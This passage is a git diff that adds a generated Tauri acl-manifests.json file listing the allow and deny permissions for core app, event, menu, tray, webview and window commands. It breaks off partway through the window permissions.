--git a/full/Angel-client/src-tauri/gen/schemas/acl-manifests.json b/full/Angel-client/src-tauri/gen/schemas/acl-manifests.json new file mode 100644 index 0000000..29c8ec7 --- /dev/null +++ b/full/Angel-client/src-tauri/gen/schemas/acl-manifests.json @@ -0,0 +1 @@ +{"core":{"default_permission":{"identifier":"default","description":"Default core plugins set which includes:\n- 'core:path:default'\n- 'core:event:default'\n- 'core:window:default'\n- 'core:webview:default'\n- 'core:app:default'\n- 'core:image:default'\n- 'core:resources:default'\n- 'core:menu:default'\n- 'core:tray:default'\n","permissions":["core:path:default","core:event:default","core:window:default","core:webview:default","core:app:default","core:image:default","core:resources:default","core:menu:default","core:tray:default"]},"permissions":{},"permission_sets":{},"global_scope_schema":null},"core:app":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-version","allow-name","allow-tauri-version"]},"permissions":{"allow-app-hide":{"identifier":"allow-app-hide","description":"Enables the app_hide command without any pre-configured scope.","commands":{"allow":["app_hide"],"deny":[]}},"allow-app-show":{"identifier":"allow-app-show","description":"Enables the app_show command without any pre-configured scope.","commands":{"allow":["app_show"],"deny":[]}},"allow-default-window-icon":{"identifier":"allow-default-window-icon","description":"Enables the default_window_icon command without any pre-configured scope.","commands":{"allow":["default_window_icon"],"deny":[]}},"allow-name":{"identifier":"allow-name","description":"Enables the name command without any pre-configured scope.","commands":{"allow":["name"],"deny":[]}},"allow-set-app-theme":{"identifier":"allow-set-app-theme","description":"Enables the set_app_theme command without any pre-configured scope.","commands":{"allow":["set_app_theme"],"deny":[]}},"allow-tauri-version":{"identifier":"allow-tauri-version","description":"Enables the tauri_version command without any pre-configured scope.","commands":{"allow":["tauri_version"],"deny":[]}},"allow-version":{"identifier":"allow-version","description":"Enables the version command without any pre-configured scope.","commands":{"allow":["version"],"deny":[]}},"deny-app-hide":{"identifier":"deny-app-hide","description":"Denies the app_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["app_hide"]}},"deny-app-show":{"identifier":"deny-app-show","description":"Denies the app_show command without any pre-configured scope.","commands":{"allow":[],"deny":["app_show"]}},"deny-default-window-icon":{"identifier":"deny-default-window-icon","description":"Denies the default_window_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["default_window_icon"]}},"deny-name":{"identifier":"deny-name","description":"Denies the name command without any pre-configured scope.","commands":{"allow":[],"deny":["name"]}},"deny-set-app-theme":{"identifier":"deny-set-app-theme","description":"Denies the set_app_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_app_theme"]}},"deny-tauri-version":{"identifier":"deny-tauri-version","description":"Denies the tauri_version command without any pre-configured scope.","commands":{"allow":[],"deny":["tauri_version"]}},"deny-version":{"identifier":"deny-version","description":"Denies the version command without any pre-configured scope.","commands":{"allow":[],"deny":["version"]}}},"permission_sets":{},"global_scope_schema":null},"core:event":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-listen","allow-unlisten","allow-emit","allow-emit-to"]},"permissions":{"allow-emit":{"identifier":"allow-emit","description":"Enables the emit command without any pre-configured scope.","commands":{"allow":["emit"],"deny":[]}},"allow-emit-to":{"identifier":"allow-emit-to","description":"Enables the emit_to command without any pre-configured scope.","commands":{"allow":["emit_to"],"deny":[]}},"allow-listen":{"identifier":"allow-listen","description":"Enables the listen command without any pre-configured scope.","commands":{"allow":["listen"],"deny":[]}},"allow-unlisten":{"identifier":"allow-unlisten","description":"Enables the unlisten command without any pre-configured scope.","commands":{"allow":["unlisten"],"deny":[]}},"deny-emit":{"identifier":"deny-emit","description":"Denies the emit command without any pre-configured scope.","commands":{"allow":[],"deny":["emit"]}},"deny-emit-to":{"identifier":"deny-emit-to","description":"Denies the emit_to command without any pre-configured scope.","commands":{"allow":[],"deny":["emit_to"]}},"deny-listen":{"identifier":"deny-listen","description":"Denies the listen command without any pre-configured scope.","commands":{"allow":[],"deny":["listen"]}},"deny-unlisten":{"identifier":"deny-unlisten","description":"Denies the unlisten command without any pre-configured scope.","commands":{"allow":[],"deny":["unlisten"]}}},"permission_sets":{},"global_scope_schema":null},"core:image":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-new","allow-from-bytes","allow-from-path","allow-rgba","allow-size"]},"permissions":{"allow-from-bytes":{"identifier":"allow-from-bytes","description":"Enables the from_bytes command without any pre-configured scope.","commands":{"allow":["from_bytes"],"deny":[]}},"allow-from-path":{"identifier":"allow-from-path","description":"Enables the from_path command without any pre-configured scope.","commands":{"allow":["from_path"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-rgba":{"identifier":"allow-rgba","description":"Enables the rgba command without any pre-configured scope.","commands":{"allow":["rgba"],"deny":[]}},"allow-size":{"identifier":"allow-size","description":"Enables the size command without any pre-configured scope.","commands":{"allow":["size"],"deny":[]}},"deny-from-bytes":{"identifier":"deny-from-bytes","description":"Denies the from_bytes command without any pre-configured scope.","commands":{"allow":[],"deny":["from_bytes"]}},"deny-from-path":{"identifier":"deny-from-path","description":"Denies the from_path command without any pre-configured scope.","commands":{"allow":[],"deny":["from_path"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-rgba":{"identifier":"deny-rgba","description":"Denies the rgba command without any pre-configured scope.","commands":{"allow":[],"deny":["rgba"]}},"deny-size":{"identifier":"deny-size","description":"Denies the size command without any pre-configured scope.","commands":{"allow":[],"deny":["size"]}}},"permission_sets":{},"global_scope_schema":null},"core:menu":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-new","allow-append","allow-prepend","allow-insert","allow-remove","allow-remove-at","allow-items","allow-get","allow-popup","allow-create-default","allow-set-as-app-menu","allow-set-as-window-menu","allow-text","allow-set-text","allow-is-enabled","allow-set-enabled","allow-set-accelerator","allow-set-as-windows-menu-for-nsapp","allow-set-as-help-menu-for-nsapp","allow-is-checked","allow-set-checked","allow-set-icon"]},"permissions":{"allow-append":{"identifier":"allow-append","description":"Enables the append command without any pre-configured scope.","commands":{"allow":["append"],"deny":[]}},"allow-create-default":{"identifier":"allow-create-default","description":"Enables the create_default command without any pre-configured scope.","commands":{"allow":["create_default"],"deny":[]}},"allow-get":{"identifier":"allow-get","description":"Enables the get command without any pre-configured scope.","commands":{"allow":["get"],"deny":[]}},"allow-insert":{"identifier":"allow-insert","description":"Enables the insert command without any pre-configured scope.","commands":{"allow":["insert"],"deny":[]}},"allow-is-checked":{"identifier":"allow-is-checked","description":"Enables the is_checked command without any pre-configured scope.","commands":{"allow":["is_checked"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-items":{"identifier":"allow-items","description":"Enables the items command without any pre-configured scope.","commands":{"allow":["items"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-popup":{"identifier":"allow-popup","description":"Enables the popup command without any pre-configured scope.","commands":{"allow":["popup"],"deny":[]}},"allow-prepend":{"identifier":"allow-prepend","description":"Enables the prepend command without any pre-configured scope.","commands":{"allow":["prepend"],"deny":[]}},"allow-remove":{"identifier":"allow-remove","description":"Enables the remove command without any pre-configured scope.","commands":{"allow":["remove"],"deny":[]}},"allow-remove-at":{"identifier":"allow-remove-at","description":"Enables the remove_at command without any pre-configured scope.","commands":{"allow":["remove_at"],"deny":[]}},"allow-set-accelerator":{"identifier":"allow-set-accelerator","description":"Enables the set_accelerator command without any pre-configured scope.","commands":{"allow":["set_accelerator"],"deny":[]}},"allow-set-as-app-menu":{"identifier":"allow-set-as-app-menu","description":"Enables the set_as_app_menu command without any pre-configured scope.","commands":{"allow":["set_as_app_menu"],"deny":[]}},"allow-set-as-help-menu-for-nsapp":{"identifier":"allow-set-as-help-menu-for-nsapp","description":"Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_help_menu_for_nsapp"],"deny":[]}},"allow-set-as-window-menu":{"identifier":"allow-set-as-window-menu","description":"Enables the set_as_window_menu command without any pre-configured scope.","commands":{"allow":["set_as_window_menu"],"deny":[]}},"allow-set-as-windows-menu-for-nsapp":{"identifier":"allow-set-as-windows-menu-for-nsapp","description":"Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_windows_menu_for_nsapp"],"deny":[]}},"allow-set-checked":{"identifier":"allow-set-checked","description":"Enables the set_checked command without any pre-configured scope.","commands":{"allow":["set_checked"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-text":{"identifier":"allow-set-text","description":"Enables the set_text command without any pre-configured scope.","commands":{"allow":["set_text"],"deny":[]}},"allow-text":{"identifier":"allow-text","description":"Enables the text command without any pre-configured scope.","commands":{"allow":["text"],"deny":[]}},"deny-append":{"identifier":"deny-append","description":"Denies the append command without any pre-configured scope.","commands":{"allow":[],"deny":["append"]}},"deny-create-default":{"identifier":"deny-create-default","description":"Denies the create_default command without any pre-configured scope.","commands":{"allow":[],"deny":["create_default"]}},"deny-get":{"identifier":"deny-get","description":"Denies the get command without any pre-configured scope.","commands":{"allow":[],"deny":["get"]}},"deny-insert":{"identifier":"deny-insert","description":"Denies the insert command without any pre-configured scope.","commands":{"allow":[],"deny":["insert"]}},"deny-is-checked":{"identifier":"deny-is-checked","description":"Denies the is_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["is_checked"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-items":{"identifier":"deny-items","description":"Denies the items command without any pre-configured scope.","commands":{"allow":[],"deny":["items"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-popup":{"identifier":"deny-popup","description":"Denies the popup command without any pre-configured scope.","commands":{"allow":[],"deny":["popup"]}},"deny-prepend":{"identifier":"deny-prepend","description":"Denies the prepend command without any pre-configured scope.","commands":{"allow":[],"deny":["prepend"]}},"deny-remove":{"identifier":"deny-remove","description":"Denies the remove command without any pre-configured scope.","commands":{"allow":[],"deny":["remove"]}},"deny-remove-at":{"identifier":"deny-remove-at","description":"Denies the remove_at command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_at"]}},"deny-set-accelerator":{"identifier":"deny-set-accelerator","description":"Denies the set_accelerator command without any pre-configured scope.","commands":{"allow":[],"deny":["set_accelerator"]}},"deny-set-as-app-menu":{"identifier":"deny-set-as-app-menu","description":"Denies the set_as_app_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_app_menu"]}},"deny-set-as-help-menu-for-nsapp":{"identifier":"deny-set-as-help-menu-for-nsapp","description":"Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_help_menu_for_nsapp"]}},"deny-set-as-window-menu":{"identifier":"deny-set-as-window-menu","description":"Denies the set_as_window_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_window_menu"]}},"deny-set-as-windows-menu-for-nsapp":{"identifier":"deny-set-as-windows-menu-for-nsapp","description":"Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_windows_menu_for_nsapp"]}},"deny-set-checked":{"identifier":"deny-set-checked","description":"Denies the set_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["set_checked"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-text":{"identifier":"deny-set-text","description":"Denies the set_text command without any pre-configured scope.","commands":{"allow":[],"deny":["set_text"]}},"deny-text":{"identifier":"deny-text","description":"Denies the text command without any pre-configured scope.","commands":{"allow":[],"deny":["text"]}}},"permission_sets":{},"global_scope_schema":null},"core:path":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-resolve-directory","allow-resolve","allow-normalize","allow-join","allow-dirname","allow-extname","allow-basename","allow-is-absolute"]},"permissions":{"allow-basename":{"identifier":"allow-basename","description":"Enables the basename command without any pre-configured scope.","commands":{"allow":["basename"],"deny":[]}},"allow-dirname":{"identifier":"allow-dirname","description":"Enables the dirname command without any pre-configured scope.","commands":{"allow":["dirname"],"deny":[]}},"allow-extname":{"identifier":"allow-extname","description":"Enables the extname command without any pre-configured scope.","commands":{"allow":["extname"],"deny":[]}},"allow-is-absolute":{"identifier":"allow-is-absolute","description":"Enables the is_absolute command without any pre-configured scope.","commands":{"allow":["is_absolute"],"deny":[]}},"allow-join":{"identifier":"allow-join","description":"Enables the join command without any pre-configured scope.","commands":{"allow":["join"],"deny":[]}},"allow-normalize":{"identifier":"allow-normalize","description":"Enables the normalize command without any pre-configured scope.","commands":{"allow":["normalize"],"deny":[]}},"allow-resolve":{"identifier":"allow-resolve","description":"Enables the resolve command without any pre-configured scope.","commands":{"allow":["resolve"],"deny":[]}},"allow-resolve-directory":{"identifier":"allow-resolve-directory","description":"Enables the resolve_directory command without any pre-configured scope.","commands":{"allow":["resolve_directory"],"deny":[]}},"deny-basename":{"identifier":"deny-basename","description":"Denies the basename command without any pre-configured scope.","commands":{"allow":[],"deny":["basename"]}},"deny-dirname":{"identifier":"deny-dirname","description":"Denies the dirname command without any pre-configured scope.","commands":{"allow":[],"deny":["dirname"]}},"deny-extname":{"identifier":"deny-extname","description":"Denies the extname command without any pre-configured scope.","commands":{"allow":[],"deny":["extname"]}},"deny-is-absolute":{"identifier":"deny-is-absolute","description":"Denies the is_absolute command without any pre-configured scope.","commands":{"allow":[],"deny":["is_absolute"]}},"deny-join":{"identifier":"deny-join","description":"Denies the join command without any pre-configured scope.","commands":{"allow":[],"deny":["join"]}},"deny-normalize":{"identifier":"deny-normalize","description":"Denies the normalize command without any pre-configured scope.","commands":{"allow":[],"deny":["normalize"]}},"deny-resolve":{"identifier":"deny-resolve","description":"Denies the resolve command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve"]}},"deny-resolve-directory":{"identifier":"deny-resolve-directory","description":"Denies the resolve_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve_directory"]}}},"permission_sets":{},"global_scope_schema":null},"core:resources":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-close"]},"permissions":{"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}}},"permission_sets":{},"global_scope_schema":null},"core:tray":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-new","allow-get-by-id","allow-remove-by-id","allow-set-icon","allow-set-menu","allow-set-tooltip","allow-set-title","allow-set-visible","allow-set-temp-dir-path","allow-set-icon-as-template","allow-set-show-menu-on-left-click"]},"permissions":{"allow-get-by-id":{"identifier":"allow-get-by-id","description":"Enables the get_by_id command without any pre-configured scope.","commands":{"allow":["get_by_id"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-remove-by-id":{"identifier":"allow-remove-by-id","description":"Enables the remove_by_id command without any pre-configured scope.","commands":{"allow":["remove_by_id"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-icon-as-template":{"identifier":"allow-set-icon-as-template","description":"Enables the set_icon_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_as_template"],"deny":[]}},"allow-set-menu":{"identifier":"allow-set-menu","description":"Enables the set_menu command without any pre-configured scope.","commands":{"allow":["set_menu"],"deny":[]}},"allow-set-show-menu-on-left-click":{"identifier":"allow-set-show-menu-on-left-click","description":"Enables the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":["set_show_menu_on_left_click"],"deny":[]}},"allow-set-temp-dir-path":{"identifier":"allow-set-temp-dir-path","description":"Enables the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":["set_temp_dir_path"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-tooltip":{"identifier":"allow-set-tooltip","description":"Enables the set_tooltip command without any pre-configured scope.","commands":{"allow":["set_tooltip"],"deny":[]}},"allow-set-visible":{"identifier":"allow-set-visible","description":"Enables the set_visible command without any pre-configured scope.","commands":{"allow":["set_visible"],"deny":[]}},"deny-get-by-id":{"identifier":"deny-get-by-id","description":"Denies the get_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["get_by_id"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-remove-by-id":{"identifier":"deny-remove-by-id","description":"Denies the remove_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_by_id"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-icon-as-template":{"identifier":"deny-set-icon-as-template","description":"Denies the set_icon_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_as_template"]}},"deny-set-menu":{"identifier":"deny-set-menu","description":"Denies the set_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_menu"]}},"deny-set-show-menu-on-left-click":{"identifier":"deny-set-show-menu-on-left-click","description":"Denies the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":[],"deny":["set_show_menu_on_left_click"]}},"deny-set-temp-dir-path":{"identifier":"deny-set-temp-dir-path","description":"Denies the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":[],"deny":["set_temp_dir_path"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-tooltip":{"identifier":"deny-set-tooltip","description":"Denies the set_tooltip command without any pre-configured scope.","commands":{"allow":[],"deny":["set_tooltip"]}},"deny-set-visible":{"identifier":"deny-set-visible","description":"Denies the set_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible"]}}},"permission_sets":{},"global_scope_schema":null},"core:webview":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-webviews","allow-webview-position","allow-webview-size","allow-internal-toggle-devtools"]},"permissions":{"allow-clear-all-browsing-data":{"identifier":"allow-clear-all-browsing-data","description":"Enables the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":["clear_all_browsing_data"],"deny":[]}},"allow-create-webview":{"identifier":"allow-create-webview","description":"Enables the create_webview command without any pre-configured scope.","commands":{"allow":["create_webview"],"deny":[]}},"allow-create-webview-window":{"identifier":"allow-create-webview-window","description":"Enables the create_webview_window command without any pre-configured scope.","commands":{"allow":["create_webview_window"],"deny":[]}},"allow-get-all-webviews":{"identifier":"allow-get-all-webviews","description":"Enables the get_all_webviews command without any pre-configured scope.","commands":{"allow":["get_all_webviews"],"deny":[]}},"allow-internal-toggle-devtools":{"identifier":"allow-internal-toggle-devtools","description":"Enables the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":["internal_toggle_devtools"],"deny":[]}},"allow-print":{"identifier":"allow-print","description":"Enables the print command without any pre-configured scope.","commands":{"allow":["print"],"deny":[]}},"allow-reparent":{"identifier":"allow-reparent","description":"Enables the reparent command without any pre-configured scope.","commands":{"allow":["reparent"],"deny":[]}},"allow-set-webview-focus":{"identifier":"allow-set-webview-focus","description":"Enables the set_webview_focus command without any pre-configured scope.","commands":{"allow":["set_webview_focus"],"deny":[]}},"allow-set-webview-position":{"identifier":"allow-set-webview-position","description":"Enables the set_webview_position command without any pre-configured scope.","commands":{"allow":["set_webview_position"],"deny":[]}},"allow-set-webview-size":{"identifier":"allow-set-webview-size","description":"Enables the set_webview_size command without any pre-configured scope.","commands":{"allow":["set_webview_size"],"deny":[]}},"allow-set-webview-zoom":{"identifier":"allow-set-webview-zoom","description":"Enables the set_webview_zoom command without any pre-configured scope.","commands":{"allow":["set_webview_zoom"],"deny":[]}},"allow-webview-close":{"identifier":"allow-webview-close","description":"Enables the webview_close command without any pre-configured scope.","commands":{"allow":["webview_close"],"deny":[]}},"allow-webview-hide":{"identifier":"allow-webview-hide","description":"Enables the webview_hide command without any pre-configured scope.","commands":{"allow":["webview_hide"],"deny":[]}},"allow-webview-position":{"identifier":"allow-webview-position","description":"Enables the webview_position command without any pre-configured scope.","commands":{"allow":["webview_position"],"deny":[]}},"allow-webview-show":{"identifier":"allow-webview-show","description":"Enables the webview_show command without any pre-configured scope.","commands":{"allow":["webview_show"],"deny":[]}},"allow-webview-size":{"identifier":"allow-webview-size","description":"Enables the webview_size command without any pre-configured scope.","commands":{"allow":["webview_size"],"deny":[]}},"deny-clear-all-browsing-data":{"identifier":"deny-clear-all-browsing-data","description":"Denies the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_all_browsing_data"]}},"deny-create-webview":{"identifier":"deny-create-webview","description":"Denies the create_webview command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview"]}},"deny-create-webview-window":{"identifier":"deny-create-webview-window","description":"Denies the create_webview_window command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview_window"]}},"deny-get-all-webviews":{"identifier":"deny-get-all-webviews","description":"Denies the get_all_webviews command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_webviews"]}},"deny-internal-toggle-devtools":{"identifier":"deny-internal-toggle-devtools","description":"Denies the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_devtools"]}},"deny-print":{"identifier":"deny-print","description":"Denies the print command without any pre-configured scope.","commands":{"allow":[],"deny":["print"]}},"deny-reparent":{"identifier":"deny-reparent","description":"Denies the reparent command without any pre-configured scope.","commands":{"allow":[],"deny":["reparent"]}},"deny-set-webview-focus":{"identifier":"deny-set-webview-focus","description":"Denies the set_webview_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_focus"]}},"deny-set-webview-position":{"identifier":"deny-set-webview-position","description":"Denies the set_webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_position"]}},"deny-set-webview-size":{"identifier":"deny-set-webview-size","description":"Denies the set_webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_size"]}},"deny-set-webview-zoom":{"identifier":"deny-set-webview-zoom","description":"Denies the set_webview_zoom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_zoom"]}},"deny-webview-close":{"identifier":"deny-webview-close","description":"Denies the webview_close command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_close"]}},"deny-webview-hide":{"identifier":"deny-webview-hide","description":"Denies the webview_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_hide"]}},"deny-webview-position":{"identifier":"deny-webview-position","description":"Denies the webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_position"]}},"deny-webview-show":{"identifier":"deny-webview-show","description":"Denies the webview_show command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_show"]}},"deny-webview-size":{"identifier":"deny-webview-size","description":"Denies the webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_size"]}}},"permission_sets":{},"global_scope_schema":null},"core:window":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-windows","allow-scale-factor","allow-inner-position","allow-outer-position","allow-inner-size","allow-outer-size","allow-is-fullscreen","allow-is-minimized","allow-is-maximized","allow-is-focused","allow-is-decorated","allow-is-resizable","allow-is-maximizable","allow-is-minimizable","allow-is-closable","allow-is-visible","allow-is-enabled","allow-title","allow-current-monitor","allow-primary-monitor","allow-monitor-from-point","allow-available-monitors","allow-cursor-position","allow-theme","allow-internal-toggle-maximize"]},"permissions":{"allow-available-monitors":{"identifier":"allow-available-monitors","description":"Enables the available_monitors command without any pre-configured scope.","commands":{"allow":["available_monitors"],"deny":[]}},"allow-center":{"identifier":"allow-center","description":"Enables the center command without any pre-configured scope.","commands":{"allow":["center"],"deny":[]}},"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"allow-create":{"identifier":"allow-create","description":"Enables the create command without any pre-configured scope.","commands":{"allow":["create"],"deny":[]}},"allow-current-monitor":{"identifier":"allow-current-monitor","description":"Enables the current_monitor command without any pre-configured scope.","commands":{"allow":["current_monitor"],"deny":[]}},"allow-cursor-position":{"identifier":"allow-cursor-position","description":"Enables the cursor_position command without any pre-configured scope.","commands":{"allow":["cursor_position"],"deny":[]}},"allow-destroy":{"identifier":"allow-destroy","description":"Enables the destroy command without any pre-configured scope.","commands":{"allow":["destroy"],"deny":[]}},"allow-get-all-windows":{"identifier":"allow-get-all-windows","description":"Enables the get_all_windows command without any pre-configured scope.","commands":{"allow":["get_all_windows"],"deny":[]}},"allow-hide":{"identifier":"allow-hide","description":"Enables the hide command without any pre-configured scope.","commands":{"allow":["hide"],"deny":[]}},"allow-inner-position":{"identifier":"allow-inner-position","description":"Enables the inner_position command without any pre-configured scope.","commands":{"allow":["inner_position"],"deny":[]}},"allow-inner-size":{"identifier":"allow-inner-size","description":"Enables the inner_size command without any pre-configured scope.","commands":{"allow":["inner_size"],"deny":[]}},"allow-internal-toggle-maximize":{"identifier":"allow-internal-toggle-maximize","description":"Enables the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":["internal_toggle_maximize"],"deny":[]}},"allow-is-closable":{"identifier":"allow-is-closable","description":"Enables the is_closable command without any pre-configured scope.","commands":{"allow":["is_closable"],"deny":[]}},"allow-is-decorated":{"identifier":"allow-is-decorated","description":"Enables the is_decorated command without any pre-configured scope.","commands":{"allow":["is_decorated"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-is-focused":{"identifier":"allow-is-focused","description":"Enables the is_focused command without any pre-configured scope.","commands":{"allow":["is_focused"],"deny":[]}},"allow-is-fullscreen":{"identifier":"allow-is-fullscreen","description":"Enables the is_fullscreen command without any pre-configured scope.","commands":{"allow":["is_fullscreen"],"deny":[]}},"allow-is-maximizable":{"identifier":"allow-is-maximizable","description":"Enables the is_maximizable command without any pre-configured scope.","commands":{"allow":["is_maximizable"],"deny":[]}},"allow-is-maximized":{"identifier":"allow-is-maximized","description":"Enables the is_maximized command without any pre-configured scope.","commands":{"allow":["is_maximized"],"deny":[]}},"allow-is-minimizable":{"identifier":"allow-is-minimizable","description":"Enables the is_minimizable command without any pre-configured scope.","commands":{"allow":["is_minimizable"],"deny":[]}},"allow-is-minimized":{"identifier":"allow-is-minimized","description":"Enables the is_minimized command without any pre-configured scope.","commands":{"allow":["is_minimized"],"deny":[]}},"allow-is-resizable":{"identifier":"allow-is-resizable","description":"Enables the is_resizable command without any pre-configured scope.","commands":{"allow":["is_resizable"],"deny":[]}},"allow-is-visible":{"identifier":"allow-is-visible","description":"Enables the is_visible command without any pre-configured scope.","commands":{"allow":["is_visible"],"deny":[]}},"allow-maximize":{"identifier":"allow-maximize","description":"Enables the maximize command without any pre-configured scope.","commands":{"allow":["maximize"],"deny":[]}},"allow-minimize":{"identifier":"allow-minimize","description":"Enables the minimize command without any pre-configured scope.","commands":{"allow":["minimize"],"deny":[]}},"allow-monitor-from-point":{"identifier":"allow-monitor-from-point","description":"Enables the monitor_from_point command without any pre-configured scope.","commands":{"allow":["monitor_from_point"],"deny":[]}},"allow-outer-position":{"identifier":"allow-outer-position","description":"Enables the outer_position command without any pre-configured scope.","commands":{"allow":["outer_position"],"deny":[]}},"allow-outer-size":{"identifier":"allow-outer-size","description":"Enables the outer_size command without any pre-configured scope.","commands":{"allow":["outer_size"],"deny":[]}},"allow-primary-monitor":{"identifier":"allow-primary-monitor","description":"Enables the primary_monitor command without any pre-configured scope.","commands":{"allow":["primary_monitor"],"deny":[]}},"allow-request-user-attention":{"identifier":"allow-request-user-attention","description":"Enables the request_user_attention command without any pre-configured scope.","commands":{"allow":["request_user_attention"],"deny":[]}},"allow-scale-factor":{"identifier":"allow-scale-factor","description":"Enables the scale_factor command without any pre-configured scope.","commands":{"allow":["scale_factor"],"deny":[]}},"allow-set-always-on-bottom":{"identifier":"allow-set-always-on-bottom","description":"Enables the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":["set_always_on_bottom"],"deny":[]}},"allow-set-always-on-top":{"identifier":"allow-set-always-on-top","description":"Enables the set_always_on_top command without any pre-configured scope.","commands":{"allow":["set_always_on_top"],"deny":[]}},"allow-set-closable":{"identifier":"allow-set-closable","description":"Enables the set_closable command without any pre-configured scope.","commands":{"allow":["set_closable"],"deny":[]}},"allow-set-content-protected":{"identifier":"allow-set-content-protected","description":"Enables the set_content_protected command without any pre-configured scope.","commands":{"allow":["set_content_protected"],"deny":[]}},"allow-set-cursor-grab":{"identifier":"allow-set-cursor-grab","description":"Enables the set_cursor_grab command without any pre-configured scope.","commands":{"allow":["set_cursor_grab"],"deny":[]}},"allow-set-cursor-icon":{"identifier":"allow-set-cursor-icon","description":"Enables the set_cursor_icon command without any pre-configured 